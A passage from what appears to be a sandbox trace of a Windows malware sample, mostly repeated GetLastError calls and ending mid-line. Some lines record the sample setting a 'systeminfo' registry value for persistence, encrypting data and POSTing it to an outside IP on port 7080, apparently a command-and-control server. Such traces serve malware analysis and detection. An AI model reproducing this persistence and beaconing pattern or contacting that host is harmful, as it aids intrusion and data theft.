GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.593] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.594] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.595] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.596] GetLastError () returned 0x0 [0072.597] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x2f1fc28, lpdwBufferLength=0x2f1fc30, lpdwIndex=0x0 | out: lpBuffer=0x2f1fc28*, lpdwBufferLength=0x2f1fc30*=0x4, lpdwIndex=0x0) returned 1 [0072.597] GetCurrentProcessId () returned 0x81c [0072.598] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x406c38, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x406c38*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x94) returned 1 [0072.598] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x406ccc, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x2f1fc2c | out: lpBuffer=0x406ccc*, lpdwNumberOfBytesRead=0x2f1fc2c*=0x0) returned 1 [0072.598] GetCurrentProcessId () returned 0x81c [0072.598] lstrlenA (lpString="just string") returned 11 [0072.598] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0072.598] GetLastError () returned 0x0 [0072.598] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0072.598] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x40cc58, pdwDataLen=0x2f1fcfc | out: pbData=0x40cc58, pdwDataLen=0x2f1fcfc) returned 1 [0072.598] CryptVerifySignatureW (hHash=0x3db628, pbSignature=0x406c38, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0072.599] CryptDestroyHash (hHash=0x3db628) returned 1 [0072.599] GetCurrentProcessId () returned 0x81c [0072.600] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.600] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0072.600] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.600] RegSetValueExW (in: hKey=0x45c, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0072.600] RegCloseKey (hKey=0x45c) returned 0x0 [0072.600] GetCurrentProcessId () returned 0x81c [0072.988] GetTickCount () returned 0x214e6 [0072.988] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0072.988] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0072.988] GetLastError () returned 0x0 [0072.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x45c [0072.990] Process32FirstW (in: hSnapshot=0x45c, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0072.990] lstrlenA (lpString="just string") returned 11 [0072.990] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0072.990] GetLastError () returned 0x0 [0072.990] GetCurrentProcessId () returned 0x81c [0073.005] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x2f1fc30 | out: phHash=0x2f1fc30) returned 1 [0073.005] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db628, Final=1, dwFlags=0x0, pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x246, dwBufLen=0x250 | out: pbData=0x33b60bc*, pdwDataLen=0x2f1fc24*=0x250) returned 1 [0073.005] GetCurrentProcess () returned 0xffffffff [0073.005] GetLastError () returned 0x12 [0073.005] wsprintfA (in: param_1=0x2f1fb1f, param_2="%X%P" | out: param_1="709347P") returned 7 [0073.005] SetLastError (dwErrCode=0x12) [0073.005] GetCurrentProcessId () returned 0x81c [0073.005] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x2f1fbb4, pdwDataLen=0x2f1fc20 | out: pbData=0x2f1fbb4*, pdwDataLen=0x2f1fc20*=0x6c) returned 1 [0073.005] GetLastError () returned 0x0 [0073.005] wsprintfA (in: param_1=0x2f1fb1f, param_2="%X%P" | out: param_1="709348P") returned 7 [0073.005] SetLastError (dwErrCode=0x0) [0073.005] GetCurrentProcessId () returned 0x81c [0073.005] CryptGetHashParam (in: hHash=0x3db628, dwParam=0x2, pbData=0x33b60a8, pdwDataLen=0x2f1fc20, dwFlags=0x0 | out: pbData=0x33b60a8, pdwDataLen=0x2f1fc20) returned 1 [0073.005] CryptDestroyHash (hHash=0x3db628) returned 1 [0073.005] GetCurrentProcessId () returned 0x81c [0073.005] GetCurrentProcessId () returned 0x81c [0073.005] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x2f1fa28, cbSize=0x2f1fc28 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x2f1fc28) returned 0x0 [0073.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f1fa28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0073.006] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.006] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.006] GetCurrentProcessId () returned 0x81c [0073.006] GetCurrentProcessId () returned 0x81c [0073.006] GetCurrentProcessId () returned 0x81c [0073.006] lstrlenA (lpString="just string") returned 11 [0073.006] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0073.006] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0073.007] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x33b6048*, dwOptionalLength=0x2c4 | out: lpOptional=0x33b6048*) returned 1 [0073.559] GetCurrentProcessId () returned 0x81c [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.559] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.560] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.561] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.562] GetLastError () returned 0x0 [0073.563] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x2f1fce0, lpdwBufferLength=0x2f1fc38, lpdwIndex=0x0 | out: lpBuffer=0x2f1fce0*, lpdwBufferLength=0x2f1fc38*=0x4, lpdwIndex=0x0) returned 1 [0073.563] GetCurrentProcessId () returned 0x81c [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.563] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.564] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.569] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () returned 0x0 [0073.570] GetLastError () 